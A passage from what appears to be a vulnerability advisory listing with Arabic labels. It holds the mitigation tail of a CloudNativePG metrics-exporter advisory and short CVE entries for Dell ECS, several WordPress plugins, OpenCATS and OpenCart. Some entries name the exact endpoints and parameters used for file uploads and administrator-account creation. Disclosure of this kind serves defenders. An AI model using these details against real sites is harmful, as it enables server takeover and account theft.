RLS policies on read-touched objects) remain superuser code paths until Patch 2 lands. 2. **Restrict database ownership.** Ensure only fully trusted roles own user databases in scraped clusters. The exploit requires the ability to plant an object on the metrics exporter's `search_path` in a scraped database, typically by owning the database (and therefore `public` via `pg_database_owner`) or by holding `CREATE` on a schema already reachable through `search_path`. *PG <15 caveat:* `public` grants `CREATE` to `PUBLIC` by default before PostgreSQL 15, so any authenticated role in a scraped database can plant a shadow object regardless of ownership. 3. **Limit the scope of `target_databases: '*'` queries.** Avoid `target_databases: '*'` unless every database in the cluster, and every role that owns one, is fully trusted. Where possible, restrict `target_databases` to specific, known-safe databases. 4. **Do not expose metric query SQL to untrusted users.** Multi-tenant platforms that allow customers to supply or influence custom metric query bodies should treat this as a critical trust boundary until the architectural fix is released. ### References - Fix (Patch 1): PR #10576 "schema-qualify catalog references in default monitoring queries and documentation samples" - Fix (Patch 2): "dedicated `cnpg_metrics_exporter` role with `pg_ident.conf` peer mapping" - Reported by: Mehmet Ince

الإصدارات المتأثرة

All versions < 1.28.3

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

المراجع

الوصف الكامل

Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains a use of hard-coded credentials vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to filesystem access for attacker.

نوع الثغرة

CWE-798 — Hardcoded Credentials

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

WordPress Plugin Download From Files version 1.48 and earlier contains an arbitrary file upload vulnerability that allows unauthenticated attackers to upload malicious files by exploiting the AJAX fileupload action. Attackers can send POST requests to the admin-ajax.php endpoint with the download_from_files_617_fileupload action, manipulating the allowExt parameter to bypass file type restrictions and upload executable files like PHP shells to the web root.

نوع الثغرة

CWE-306 — Auth Bypass

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

OpenCATS 0.9.4 contains a remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary commands by uploading malicious PHP files disguised as resume attachments. Attackers can upload PHP payloads through the careers job application endpoint and execute system commands via POST requests to the uploaded file in the upload directory.

نوع الثغرة

CWE-306 — Auth Bypass

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

WordPress MStore API 2.0.6 contains an arbitrary file upload vulnerability that allows unauthenticated attackers to upload malicious files by sending POST requests to the REST API endpoint. Attackers can upload PHP files with arbitrary names to the config_file endpoint to achieve remote code execution on the server.

نوع الثغرة

CWE-306 — Auth Bypass

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

WordPress TheCartPress 1.5.3.6 contains an unauthenticated privilege escalation vulnerability that allows attackers to create administrator accounts by submitting crafted requests to the AJAX handler. Attackers can send POST requests to the tcp_register_and_login_ajax action with tcp_role set to administrator to gain full administrative access without authentication.

نوع الثغرة

CWE-862 — Missing Authorization

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

OpenCart 3.0.3.8 contains a session fixation vulnerability that allows attackers to hijack user sessions by injecting arbitrary values into the OCSESSID cookie. Attackers can set malicious OCSESSID cookie values that the server accepts and maintains, enabling session takeover and unauthorized access to user accounts.

نوع الثغرة

CWE-290 — CWE-290

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع